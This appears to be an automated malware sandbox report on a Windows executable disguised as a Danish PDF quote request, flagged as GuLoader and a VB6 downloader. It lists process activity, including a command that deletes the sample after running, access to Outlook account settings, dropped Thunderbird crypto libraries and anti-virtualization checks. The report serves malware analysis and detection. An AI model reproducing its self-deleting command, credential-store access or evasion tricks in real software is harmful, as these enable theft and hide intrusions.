Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: unknown	Process created: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK	Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager

Jump to behavior

Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\gfx\angle\targets\libEGL\libEGL.pdb source: libEGL.dll.12.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: api-ms-win-crt-locale-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libprldap\prldap60.pdb source: prldap60.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb source: IA2Marshal.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: api-ms-win-core-file-l1-2-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr
Source:	Binary string: ucrtbase.pdb source: ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: api-ms-win-core-memory-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.12.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: api-ms-win-crt-stdio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: api-ms-win-core-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: api-ms-win-core-util-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: api-ms-win-core-synch-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: api-ms-win-crt-environment-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb source: nssckbi.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp, mozglue.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.12.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: api-ms-win-crt-private-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: api-ms-win-crt-convert-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\ipc\win\handler\AccessibleHandler.pdb source: AccessibleHandler.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: nssdbm3.dll.12.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapihook\build\MapiProxy.pdb source: MapiProxy_InUse.dll.12.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: api-ms-win-core-profile-l1-1-0.dll.12.dr
Source:	Binary string: ucrtbase.pdbUGP source: ucrtbase.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.12.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: api-ms-win-crt-time-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb66 source: nssckbi.dll.12.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: api-ms-win-core-handle-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3.dll.12.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: api-ms-win-core-processenvironment-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb<< source: IA2Marshal.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp, mozglue.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.12.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.12.dr
Source:	Binary string: ms-win-core-memory-l1-1-0.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880884389.000000006698B000.00000004.00000001.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: api-ms-win-core-localization-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.12.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapiDLL\mozMapi32.pdb source: mozMapi32.dll.12.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: api-ms-win-core-timezone-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: api-ms-win-core-string-l1-1-0.dll.12.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: api-ms-win-core-file-l2-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: api-ms-win-crt-process-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\config\external\lgpllibs\lgpllibs.pdb source: lgpllibs.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: api-ms-win-core-interlocked-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\crashreporter\injector\breakpadinjector.pdb source: breakpadinjector.dll.12.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: api-ms-win-crt-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.12.dr

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY
Source: Yara match	File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY
Source: Yara match	File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976, type: MEMORY

Source: sqlite3.dll.12.dr	Static PE information: section name: /4
Source: sqlite3.dll.12.dr	Static PE information: section name: /19
Source: sqlite3.dll.12.dr	Static PE information: section name: /31
Source: sqlite3.dll.12.dr	Static PE information: section name: /45
Source: sqlite3.dll.12.dr	Static PE information: section name: /57
Source: sqlite3.dll.12.dr	Static PE information: section name: /70
Source: sqlite3.dll.12.dr	Static PE information: section name: /81
Source: sqlite3.dll.12.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040F534 push dword ptr [ebp-08h]; ret	0_2_00410D60
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404012 push esp; iretd	0_2_00404013
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040A680 push ds; iretd	0_2_0040A681
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A34E1 push 8B792066h; iretd	0_2_022A34E7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A55C0 pushad ; retf	0_2_022A55C1
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A55C5 pushad ; retf	0_2_022A55E7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A55C5 push F7668EB2h; retn 2878h	0_2_022A560E
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0F8646 push ecx; ret	12_2_6D0F8659

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1490	0_2_022A1490
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1A95 LoadLibraryA,	0_2_022A1A95
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1375	0_2_022A1375
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A13B6 LoadLibraryA,	0_2_022A13B6

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

